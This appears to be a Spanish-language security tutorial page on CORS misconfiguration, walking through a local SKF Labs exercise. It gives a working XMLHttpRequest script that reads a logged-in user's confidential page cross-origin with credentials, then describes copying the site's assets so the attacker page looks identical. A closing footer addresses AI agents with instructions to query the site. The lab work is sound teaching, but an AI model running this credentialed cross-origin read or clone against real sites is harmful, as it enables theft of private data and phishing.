# Intercambio de recursos de origen cruzado (CORS)

El **Intercambio de recursos de origen cruzado** (**CORS**) es un mecanismo que permite que un servidor web **restrinja** el **acceso a recursos** de **diferentes orígenes**, es decir, de diferentes dominios o protocolos. CORS se utiliza para proteger la privacidad y seguridad de los usuarios al evitar que otros sitios web accedan a información confidencial sin permiso.

\
Supongamos que tenemos una aplicación web en el dominio “**example.com**” que utiliza una API web en el dominio “**api.example.com**” para recuperar datos. Si la aplicación web está correctamente configurada para CORS, solo permitirá solicitudes de origen cruzado desde el dominio “**example.com**” a la API en el dominio “**api.example.com**“. Si se realiza una solicitud desde un dominio diferente, como “**attacker.com**“, la solicitud será bloqueada por el navegador web.

<figure><img src="/files/ZrbBour70qvJOy0SXQUL" alt=""><figcaption></figcaption></figure>

Empezamos esto lo haremos con un laboratorio de SFK Labs de Github.

Tenemos un panel de login donde las credenciales son admin admin.

<figure><img src="/files/hB8CjGdDINBAYQzscabv" alt=""><figcaption></figcaption></figure>

El usuario admin ya logueado el puede ver esta informacion que es privilegiada, el dominio aca es el localhost por el puerto 5000.

<figure><img src="/files/ke4Jl7VGzABuIWvVcC3q" alt=""><figcaption></figcaption></figure>

El original corre por el puerto 5000, la idea es traernos toda esta info privada nuestra web malicus.html que montaremos en breve.

```javascript
<script>
	var req = new XMLHttpRequest();
	req.onload =reqListener;
	req.open('GET', 'http://localhost:5000/confidential', true);
	req.withCredentials = true;
	req.send();

	function reqListener(){
		document.getElementById("stoleInfo").innerHTML = req.responseText;
	}
</script>

<br>
<center><h1>Has sido hackeado, esta es la informacion que te eh robado</h1></center>

<p id="stoleInfo"></p>
```

Con este pequeño codigo lo haremos. Ahora lo explico.

```javascript
function reqListener(){
    document.getElementById("stoleInfo").innerHTML = req.responseText;
}
```

Esta función se ejecuta cuando la solicitud se complete con éxito. Toma la respuesta de la solicitud (`req.responseText`) y la inserta en el elemento HTML con el ID "stoleInfo".

```javascript
req.open('GET', 'http://localhost:5000/confidential', true);
```

* `open`: Abre la conexión con el servidor. Aquí se especifica que es una solicitud GET a la URL '<http://localhost:5000/confidential>' y que la solicitud es asíncrona (el tercer parámetro `true` indica que es asíncrona).

```javascript
req.withCredentials = true;
```

Establece que se deben incluir las credenciales (como cookies) en la solicitud. Esto es importante si el servidor requiere autenticación.

1. ```javascript
   req.send();
   ```

   Inicia la solicitud y envía la petición al servidor.
2. El código HTML después de la etiqueta `<script>` muestra un mensaje que indica que la página ha sido hackeada y presenta la información robada en un elemento con el ID "stoleInfo". La información se mostrará después de que la solicitud se complete y la función `reqListener` se ejecute.&#x20;

<figure><img src="/files/1ksLviMlvCyJQHsjTlxO" alt=""><figcaption></figcaption></figure>

Nos compartimos un servidor con python3 por el puerto 80.&#x20;

<figure><img src="/files/5xrCVz9dT9YPmLSyvlfx" alt=""><figcaption></figcaption></figure>

Observamos la pagina original a la izquierda y la falsa a la derecha y como podemos ver nos estamos robando elementos de la original.

<figure><img src="/files/AwK5clbeNRHquYj98bBl" alt=""><figcaption></figcaption></figure>

La info de la pagina original de la izquierda esta en nuestra pagina falsa al lado derecho. Solo que nuestra web falsa no tiene CSS ni flow como la original.

<figure><img src="/files/zzLu45qQuFbfQQNZuGUM" alt=""><figcaption></figcaption></figure>

Bueno lo que haremos sera traer los recursos de la web original como el css imagenes y etc para que los cargue nuestra pagina web fake. En las solicitudes que recive nuestro servidor python3 podemos ver la ruta de lo que queremos.

Estando en el mismo directorio pues creamos el almacenamiento para los recursos que necesitaremos.

<figure><img src="/files/fM9JDpTbqbTC16p2TmNm" alt=""><figcaption></figcaption></figure>

Ahora nos lo descargamos uno a uno, css en css, images donde deben ir y listo.

<figure><img src="/files/3XCV2HzkzWJzzwnuekRK" alt=""><figcaption></figcaption></figure>

Si observamos de manera recursiva podemos ver que ya tenemos todos los elementos de la web los tenemos en local en el mismo directorio donde tenemos a nuestro malicius.html.

Ahora la web la de nosotros la fake deberia de cargar muy bien todos los elementos de la original.

<figure><img src="/files/UMByjjnTFPAFyAHrUfXC" alt=""><figcaption></figcaption></figure>

La pestaña uno tenemos la original en la dos tenemos la fake y observamos que nos carga identica a la original y asi hemos robado algo de informacion.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rodgar.gitbook.io/rodgar/othe/owasp-top-10/intercambio-de-recursos-de-origen-cruzado-cors.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.